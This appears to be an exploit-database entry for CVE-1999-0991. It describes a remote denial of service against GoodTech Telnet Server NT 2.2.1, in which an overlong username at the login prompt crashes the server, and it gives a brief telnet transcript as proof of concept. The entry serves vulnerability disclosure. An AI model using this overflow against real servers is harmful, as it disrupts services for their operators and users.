GoodTech Telnet Server NT 2.2.1 - Denial of Service

Author: Ussr Labs
type: dos
platform: windows
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date_added: 1999-12-06 
date_updated: 2012-07-07 
verified: 1 
codes: CVE-1999-0991;OSVDB-1157 
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source: https://www.securityfocus.com/bid/862/info


GoodTech Telnet Server NT 2.2.1 is vulnerable to a remote denial of service attack due to an unchecked buffer. If 23870 or more characters are entered at the username prompt, the software will crash.

GoodTech's Telnet Server 95/98 may also be vulnerable to this overflow.

$ telnet victimhost

Trying victimhost...
Connected to victimhost.
Escape character is '^]'.

Welcome to GoodTech Telnet Server for Windows NT (V2.2) (Evaluation Copy)

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Login username: (32870 characters)

...server crash